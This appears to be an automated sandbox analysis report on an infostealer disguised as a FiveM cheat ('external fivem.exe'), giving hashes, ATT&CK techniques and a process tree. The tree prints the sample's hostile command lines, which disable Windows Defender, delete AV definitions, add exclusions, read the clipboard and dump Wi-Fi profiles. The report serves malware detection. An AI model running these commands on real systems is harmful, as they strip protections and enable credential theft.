ff3bb8ec8f86fe6f7c2f31e615855f8e43cc9b9dfa076d64c222ddd17d6b2cad

Analysis

user interaction
yes
max time kernel
148s
max time network
113s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/09/2026, 01:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
external fivem.exe
Size 12.6MB
Sample260915-bxap1adc53
SHA256 ff3bb8ec8f86fe6f7c2f31e615855f8e43cc9b9dfa076d64c222ddd17d6b2cad
MD5 b2c85c0b7a36d867804e96f1c1c14416
SHA1 f94d5028429e34e850dbc7d73556f79f866e4991
SHA512 3e65ac58e21ccb2fc5d14c7605c05ece2a0404881f21920b1add6d609c2831a8fa8bf5b2a4e4549edb4bf2baf6145eea97d5428ec1a37ec5ff84c64fbf4ef5f5
SSDEEP 393216:VeGLk0Ph1dEeN0L0mrH4Nd8HsnvDwHReQl54W:VJXdHNy0mrY3+gEHgzW
TLSH
T1DAD6337623D50AFAF4AA207E7B65C307E72178125BA0E5CF476417292D2B9F84D3A730
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Deletes Windows Defender Definitions 2 TTPs 1 IoCs

Uses mpcmdrun utility to delete all AV definitions.

defense_evasion

Impair Defenses

T1562

Command and Scripting Interpreter

T1059

pid	Process
4668	MpCmdRun.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4436	powershell.exe
6108	powershell.exe
1100	powershell.exe
2052	powershell.exe
1416	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
1100	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	external fivem.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4916	powershell.exe
1328	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
5300	bound.exe
2840	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe
5604	external fivem.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
2596	tasklist.exe
4332	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000d00000001c493-87.dat	upx
behavioral2/memory/5604-90-0x00007FFE6AB70000-0x00007FFE6B279000-memory.dmp	upx
behavioral2/files/0x000d00000001c45e-93.dat	upx
behavioral2/files/0x000d00000001c482-95.dat	upx
behavioral2/memory/5604-96-0x00007FFE815B0000-0x00007FFE815D9000-memory.dmp	upx
behavioral2/files/0x000d00000001c45d-98.dat	upx
behavioral2/memory/5604-99-0x00007FFE82B70000-0x00007FFE82B7F000-memory.dmp	upx
behavioral2/files/0x000d00000001c461-101.dat	upx
behavioral2/memory/5604-105-0x00007FFE81560000-0x00007FFE8158C000-memory.dmp	upx
behavioral2/files/0x000d00000001c47d-106.dat	upx
behavioral2/memory/5604-107-0x00007FFE7D360000-0x00007FFE7D3E0000-memory.dmp	upx
behavioral2/memory/5604-102-0x00007FFE81590000-0x00007FFE815AA000-memory.dmp	upx
behavioral2/files/0x000d00000001c464-108.dat	upx
behavioral2/memory/5604-110-0x00007FFE82B60000-0x00007FFE82B6D000-memory.dmp	upx
behavioral2/files/0x000d00000001c468-111.dat	upx
behavioral2/memory/5604-114-0x00007FFE81550000-0x00007FFE8155F000-memory.dmp	upx
behavioral2/files/0x000d00000001c460-116.dat	upx
behavioral2/files/0x000d00000001c481-119.dat	upx
behavioral2/memory/5604-118-0x00007FFE81520000-0x00007FFE81534000-memory.dmp	upx
behavioral2/memory/5604-121-0x00007FFE69A20000-0x00007FFE69F53000-memory.dmp	upx
behavioral2/files/0x000d00000001c465-122.dat	upx
behavioral2/memory/5604-126-0x00007FFE81500000-0x00007FFE8151A000-memory.dmp	upx
behavioral2/memory/5604-130-0x00007FFE7E820000-0x00007FFE7E854000-memory.dmp	upx
behavioral2/files/0x000d00000001c483-131.dat	upx
behavioral2/memory/5604-132-0x00007FFE7D290000-0x00007FFE7D35E000-memory.dmp	upx
behavioral2/memory/5604-129-0x00007FFE815B0000-0x00007FFE815D9000-memory.dmp	upx
behavioral2/files/0x000d00000001c467-127.dat	upx
behavioral2/memory/5604-125-0x00007FFE6AB70000-0x00007FFE6B279000-memory.dmp	upx
behavioral2/files/0x000d00000001c466-138.dat	upx
behavioral2/memory/5604-141-0x00007FFE7E950000-0x00007FFE7E975000-memory.dmp	upx
behavioral2/files/0x000d00000001c4ac-140.dat	upx
behavioral2/memory/5604-143-0x00007FFE6F140000-0x00007FFE6F2CA000-memory.dmp	upx
behavioral2/files/0x000d00000001c496-145.dat	upx
behavioral2/memory/5604-147-0x00007FFE7EB00000-0x00007FFE7EB0D000-memory.dmp	upx
behavioral2/memory/5604-146-0x00007FFE82B60000-0x00007FFE82B6D000-memory.dmp	upx
behavioral2/memory/5604-160-0x00007FFE81550000-0x00007FFE8155F000-memory.dmp	upx
behavioral2/memory/5604-170-0x00007FFE81520000-0x00007FFE81534000-memory.dmp	upx
behavioral2/files/0x000d00000001c4ad-171.dat	upx
behavioral2/memory/5604-173-0x00007FFE69A20000-0x00007FFE69F53000-memory.dmp	upx
behavioral2/memory/5604-174-0x00007FFE5ECE0000-0x00007FFE5ED9E000-memory.dmp	upx
behavioral2/memory/5604-252-0x00007FFE7E820000-0x00007FFE7E854000-memory.dmp	upx
behavioral2/memory/5604-280-0x00007FFE7D290000-0x00007FFE7D35E000-memory.dmp	upx
behavioral2/memory/5604-296-0x00007FFE7E950000-0x00007FFE7E975000-memory.dmp	upx
behavioral2/memory/5604-299-0x00007FFE5ECE0000-0x00007FFE5ED9E000-memory.dmp	upx
behavioral2/memory/5604-297-0x00007FFE6F140000-0x00007FFE6F2CA000-memory.dmp	upx
behavioral2/memory/5604-292-0x00007FFE69A20000-0x00007FFE69F53000-memory.dmp	upx
behavioral2/memory/5604-283-0x00007FFE6AB70000-0x00007FFE6B279000-memory.dmp	upx
behavioral2/memory/5604-320-0x00007FFE6AB70000-0x00007FFE6B279000-memory.dmp	upx
behavioral2/memory/5604-337-0x00007FFE6AB70000-0x00007FFE6B279000-memory.dmp	upx
behavioral2/memory/5604-356-0x00007FFE82B70000-0x00007FFE82B7F000-memory.dmp	upx
behavioral2/memory/5604-355-0x00007FFE815B0000-0x00007FFE815D9000-memory.dmp	upx
behavioral2/memory/5604-354-0x00007FFE6AB70000-0x00007FFE6B279000-memory.dmp	upx
behavioral2/memory/5604-366-0x00007FFE7D290000-0x00007FFE7D35E000-memory.dmp	upx
behavioral2/memory/5604-369-0x00007FFE7EB00000-0x00007FFE7EB0D000-memory.dmp	upx
behavioral2/memory/5604-370-0x00007FFE5ECE0000-0x00007FFE5ED9E000-memory.dmp	upx
behavioral2/memory/5604-368-0x00007FFE6F140000-0x00007FFE6F2CA000-memory.dmp	upx
behavioral2/memory/5604-367-0x00007FFE7E950000-0x00007FFE7E975000-memory.dmp	upx
behavioral2/memory/5604-363-0x00007FFE69A20000-0x00007FFE69F53000-memory.dmp	upx
behavioral2/memory/5604-365-0x00007FFE7E820000-0x00007FFE7E854000-memory.dmp	upx
behavioral2/memory/5604-364-0x00007FFE81500000-0x00007FFE8151A000-memory.dmp	upx
behavioral2/memory/5604-362-0x00007FFE81520000-0x00007FFE81534000-memory.dmp	upx
behavioral2/memory/5604-361-0x00007FFE81550000-0x00007FFE8155F000-memory.dmp	upx
behavioral2/memory/5604-360-0x00007FFE82B60000-0x00007FFE82B6D000-memory.dmp	upx
behavioral2/memory/5604-359-0x00007FFE7D360000-0x00007FFE7D3E0000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 35 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5648	cmd.exe
3560	cmd.exe
2284	cmd.exe
4848	cmd.exe
4948	cmd.exe
5908	cmd.exe
4224	cmd.exe
4868	cmd.exe
4852	cmd.exe
5404	cmd.exe
4628	cmd.exe
544	cmd.exe
4084	cmd.exe
5808	cmd.exe
1676	cmd.exe
1484	cmd.exe
1160	cmd.exe
5104	cmd.exe
1992	cmd.exe
5420	cmd.exe
688	cmd.exe
3176	cmd.exe
3772	cmd.exe
5460	cmd.exe
4800	cmd.exe
5936	cmd.exe
5136	cmd.exe
3428	cmd.exe
2508	cmd.exe
2012	cmd.exe
4116	cmd.exe
3520	cmd.exe
3564	cmd.exe
6012	cmd.exe
4984	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3560	cmd.exe
4168	netsh.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4128	WMIC.exe
4784	WMIC.exe
5628	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4260	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1964	taskkill.exe

Suspicious behavior: EnumeratesProcesses 57 IoCs

pid	Process
4240	WMIC.exe
4240	WMIC.exe
4240	WMIC.exe
4240	WMIC.exe
2052	powershell.exe
2052	powershell.exe
1100	powershell.exe
1100	powershell.exe
1416	powershell.exe
1416	powershell.exe
1100	powershell.exe
1416	powershell.exe
2052	powershell.exe
4128	WMIC.exe
4128	WMIC.exe
4128	WMIC.exe
4128	WMIC.exe
4784	WMIC.exe
4784	WMIC.exe
4784	WMIC.exe
4784	WMIC.exe
4636	WMIC.exe
4636	WMIC.exe
4636	WMIC.exe
4636	WMIC.exe
4916	powershell.exe
4916	powershell.exe
4916	powershell.exe
4436	powershell.exe
4436	powershell.exe
1304	powershell.exe
1304	powershell.exe
1304	powershell.exe
4436	powershell.exe
2256	powershell.exe
2256	powershell.exe
2256	powershell.exe
2616	WMIC.exe
2616	WMIC.exe
2616	WMIC.exe
2616	WMIC.exe
6064	WMIC.exe
6064	WMIC.exe
6064	WMIC.exe
6064	WMIC.exe
5860	WMIC.exe
5860	WMIC.exe
5860	WMIC.exe
5860	WMIC.exe
6108	powershell.exe
6108	powershell.exe
5628	WMIC.exe
5628	WMIC.exe
5628	WMIC.exe
5628	WMIC.exe
3288	powershell.exe
3288	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeIncreaseQuotaPrivilege	4240	WMIC.exe
Token: SeSecurityPrivilege	4240	WMIC.exe
Token: SeTakeOwnershipPrivilege	4240	WMIC.exe
Token: SeLoadDriverPrivilege	4240	WMIC.exe
Token: SeSystemProfilePrivilege	4240	WMIC.exe
Token: SeSystemtimePrivilege	4240	WMIC.exe
Token: SeProfSingleProcessPrivilege	4240	WMIC.exe
Token: SeIncBasePriorityPrivilege	4240	WMIC.exe
Token: SeCreatePagefilePrivilege	4240	WMIC.exe
Token: SeBackupPrivilege	4240	WMIC.exe
Token: SeRestorePrivilege	4240	WMIC.exe
Token: SeShutdownPrivilege	4240	WMIC.exe
Token: SeDebugPrivilege	4240	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4240	WMIC.exe
Token: SeRemoteShutdownPrivilege	4240	WMIC.exe
Token: SeUndockPrivilege	4240	WMIC.exe
Token: SeManageVolumePrivilege	4240	WMIC.exe
Token: 33	4240	WMIC.exe
Token: 34	4240	WMIC.exe
Token: 35	4240	WMIC.exe
Token: 36	4240	WMIC.exe
Token: SeDebugPrivilege	2596	tasklist.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	1100	powershell.exe
Token: SeIncreaseQuotaPrivilege	4240	WMIC.exe
Token: SeSecurityPrivilege	4240	WMIC.exe
Token: SeTakeOwnershipPrivilege	4240	WMIC.exe
Token: SeLoadDriverPrivilege	4240	WMIC.exe
Token: SeSystemProfilePrivilege	4240	WMIC.exe
Token: SeSystemtimePrivilege	4240	WMIC.exe
Token: SeProfSingleProcessPrivilege	4240	WMIC.exe
Token: SeIncBasePriorityPrivilege	4240	WMIC.exe
Token: SeCreatePagefilePrivilege	4240	WMIC.exe
Token: SeBackupPrivilege	4240	WMIC.exe
Token: SeRestorePrivilege	4240	WMIC.exe
Token: SeShutdownPrivilege	4240	WMIC.exe
Token: SeDebugPrivilege	4240	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4240	WMIC.exe
Token: SeRemoteShutdownPrivilege	4240	WMIC.exe
Token: SeUndockPrivilege	4240	WMIC.exe
Token: SeManageVolumePrivilege	4240	WMIC.exe
Token: 33	4240	WMIC.exe
Token: 34	4240	WMIC.exe
Token: 35	4240	WMIC.exe
Token: 36	4240	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1416	powershell.exe
Token: SeSecurityPrivilege	1416	powershell.exe
Token: SeTakeOwnershipPrivilege	1416	powershell.exe
Token: SeLoadDriverPrivilege	1416	powershell.exe
Token: SeSystemProfilePrivilege	1416	powershell.exe
Token: SeSystemtimePrivilege	1416	powershell.exe
Token: SeProfSingleProcessPrivilege	1416	powershell.exe
Token: SeIncBasePriorityPrivilege	1416	powershell.exe
Token: SeCreatePagefilePrivilege	1416	powershell.exe
Token: SeBackupPrivilege	1416	powershell.exe
Token: SeRestorePrivilege	1416	powershell.exe
Token: SeShutdownPrivilege	1416	powershell.exe
Token: SeDebugPrivilege	1416	powershell.exe
Token: SeSystemEnvironmentPrivilege	1416	powershell.exe
Token: SeRemoteShutdownPrivilege	1416	powershell.exe
Token: SeUndockPrivilege	1416	powershell.exe
Token: SeManageVolumePrivilege	1416	powershell.exe
Token: 33	1416	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3064 wrote to memory of 5604	3064	external fivem.exe	88
PID 5604 wrote to memory of 5420	5604	external fivem.exe	90
PID 5420 wrote to memory of 1200	5420	cmd.exe	92
PID 5604 wrote to memory of 5908	5604	external fivem.exe	93
PID 5604 wrote to memory of 1484	5604	external fivem.exe	95
PID 5604 wrote to memory of 5648	5604	external fivem.exe	96
PID 5604 wrote to memory of 4224	5604	external fivem.exe	97
PID 5604 wrote to memory of 3428	5604	external fivem.exe	100
PID 5604 wrote to memory of 2508	5604	external fivem.exe	102
PID 5908 wrote to memory of 2052	5908	cmd.exe	105
PID 2508 wrote to memory of 2596	2508	cmd.exe	106
PID 3428 wrote to memory of 4240	3428	cmd.exe	107
PID 5648 wrote to memory of 1416	5648	cmd.exe	108
PID 1484 wrote to memory of 1100	1484	cmd.exe	109
PID 4224 wrote to memory of 5300	4224	cmd.exe	110
PID 5604 wrote to memory of 688	5604	external fivem.exe	111
PID 688 wrote to memory of 5128	688	cmd.exe	113
PID 5604 wrote to memory of 3176	5604	external fivem.exe	114
PID 3176 wrote to memory of 2384	3176	cmd.exe	116
PID 5604 wrote to memory of 3772	5604	external fivem.exe	117
PID 3772 wrote to memory of 4128	3772	cmd.exe	119
PID 5604 wrote to memory of 4852	5604	external fivem.exe	121
PID 4852 wrote to memory of 4784	4852	cmd.exe	123
PID 1484 wrote to memory of 4668	1484	cmd.exe	124
PID 5604 wrote to memory of 4868	5604	external fivem.exe	125
PID 5604 wrote to memory of 1328	5604	external fivem.exe	127
PID 5604 wrote to memory of 1676	5604	external fivem.exe	128
PID 5604 wrote to memory of 5460	5604	external fivem.exe	129
PID 5604 wrote to memory of 3560	5604	external fivem.exe	131
PID 5604 wrote to memory of 6012	5604	external fivem.exe	135
PID 5604 wrote to memory of 4984	5604	external fivem.exe	136
PID 5604 wrote to memory of 5336	5604	external fivem.exe	138
PID 5604 wrote to memory of 5404	5604	external fivem.exe	139
PID 1328 wrote to memory of 4916	1328	cmd.exe	143
PID 3560 wrote to memory of 4168	3560	cmd.exe	144
PID 5460 wrote to memory of 5956	5460	cmd.exe	145
PID 1676 wrote to memory of 4332	1676	cmd.exe	146
PID 4868 wrote to memory of 4636	4868	cmd.exe	147
PID 4984 wrote to memory of 4952	4984	cmd.exe	148
PID 6012 wrote to memory of 4260	6012	cmd.exe	149
PID 5404 wrote to memory of 4436	5404	cmd.exe	150
PID 5336 wrote to memory of 1304	5336	cmd.exe	151
PID 5604 wrote to memory of 1160	5604	external fivem.exe	152
PID 5604 wrote to memory of 4628	5604	external fivem.exe	154
PID 4628 wrote to memory of 1132	4628	cmd.exe	156
PID 1304 wrote to memory of 2668	1304	powershell.exe	157
PID 1160 wrote to memory of 2724	1160	cmd.exe	158
PID 2668 wrote to memory of 1664	2668	csc.exe	159
PID 5604 wrote to memory of 544	5604	external fivem.exe	160
PID 5604 wrote to memory of 2284	5604	external fivem.exe	161
PID 544 wrote to memory of 2296	544	cmd.exe	164
PID 2284 wrote to memory of 2964	2284	cmd.exe	165
PID 5604 wrote to memory of 4800	5604	external fivem.exe	166
PID 4800 wrote to memory of 4140	4800	cmd.exe	168
PID 5604 wrote to memory of 4084	5604	external fivem.exe	169
PID 4084 wrote to memory of 700	4084	cmd.exe	171
PID 5604 wrote to memory of 4848	5604	external fivem.exe	172
PID 5604 wrote to memory of 5104	5604	external fivem.exe	174
PID 4848 wrote to memory of 2256	4848	cmd.exe	176
PID 5104 wrote to memory of 5072	5104	cmd.exe	177
PID 5604 wrote to memory of 2012	5604	external fivem.exe	178
PID 2012 wrote to memory of 3840	2012	cmd.exe	180
PID 5604 wrote to memory of 4948	5604	external fivem.exe	181
PID 4948 wrote to memory of 2616	4948	cmd.exe	183

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1132	attrib.exe
2296	attrib.exe

C:\Users\Admin\AppData\Local\Temp\external fivem.exe
"C:\Users\Admin\AppData\Local\Temp\external fivem.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3064
- C:\Users\Admin\AppData\Local\Temp\external fivem.exe
  "C:\Users\Admin\AppData\Local\Temp\external fivem.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Temp\external fivem.exe" /t REG_SZ /d "~ RUNASADMIN" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5420
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Temp\external fivem.exe" /t REG_SZ /d "~ RUNASADMIN" /f
      4⤵
      PID:1200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\external fivem.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\external fivem.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1484
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1100
  - - C:\Program Files\Windows Defender\MpCmdRun.exe
      "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
      4⤵
      Deletes Windows Defender Definitions
      PID:4668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5648
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      PID:5300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2508
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2596
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:688
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:5128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:2384
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3772
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4128
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4852
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:4784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1328
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1676
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:4332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5460
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5956
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:3560
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:4168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6012
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4984
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:4952
- - C:\Windows\system32\cmd.exe
